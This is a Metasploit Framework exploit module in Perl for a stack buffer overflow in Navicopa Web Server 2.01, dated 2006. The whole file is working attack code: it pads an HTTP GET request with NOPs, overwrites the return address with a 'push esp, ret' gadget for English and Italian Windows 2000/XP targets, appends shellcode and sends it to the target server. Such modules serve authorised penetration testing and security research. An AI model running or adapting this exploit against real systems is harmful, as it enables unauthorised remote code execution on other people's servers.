##  
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::navicopa_get_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };

my $info =
  {
  'Name'  => 'Navicopa 2.01 Buffer Overflow',
  'Version'  => '$Revision: 0.1 $',
  'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ],
  'Arch'  => [ 'x86' ],
  'OS'    => [ 'win32' ],
  'Priv'  => 1,

  'UserOpts'  =>
    {
    'RHOST' => [1, 'ADDR', 'The target address'],
    'RPORT' => [1, 'PORT', 'The target port', 80],
    'SSL'   => [0, 'BOOL', 'Use SSL'],
    },

  'Payload' =>
    {
    'Space'     => 400,
    'MinNops'  => 16,
    'BadChars'  => "\x00\x20\x0a\x0d\x2f\x25\x3f",
    'Keys'      => ['+ws2ord'],
    },
    

  'Description'  => Pex::Text::Freeform(qq{
This module exploits a classical stack overflow in Navicopa Web Server 2.01 version    
Credit to h07 for discovered this vulnerability.
This is a port to the original h07 c code.  
}),

  'Refs'  =>
    [
      ['BID',   20250],
        ],

  'Targets' =>
    [
    ['Windows 2k/XP for all service pack English',228, 0x1002c46f ], #  push esp,ret in IV320009.dll
    ['Windows 2k/XP for all service pack Italian',227, 0x1002c46f ], #  push esp,ret in IV320009.dll

    ],

  'Keys' => ['navicopa'],
  'DisclosureDate' => 'Sep 28 2006',


  };

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Exploit {
  my $self = shift;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');
  my $target_idx  = $self->GetVar('TARGET');
  my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

  my $target = $self->Targets->[$target_idx];


  my $pattern = $self->MakeNops($target->[1]);
  $pattern .= pack('V', $target->[2]);
  $pattern .= $self->MakeNops(32);
  $pattern .= $shellcode;

  my $request = "GET " . $pattern ." HTTP/1.1\r\n\r\n";

  $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using push esp ret at 0x%.8x...", $target->[2]));

  my $s = Msf::Socket::Tcp->new
    (
    'PeerAddr'  => $target_host,
    'PeerPort'  => $target_port,
    'LocalPort' => $self->GetVar('CPORT'),
    'SSL'       => $self->GetVar('SSL'),
    );

  if ($s->IsError) {
    $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
    return;
  }

  $s->Send($request);
  sleep(3);
  $s->Recv(-1, 10);
  $s->Close();
  return;
}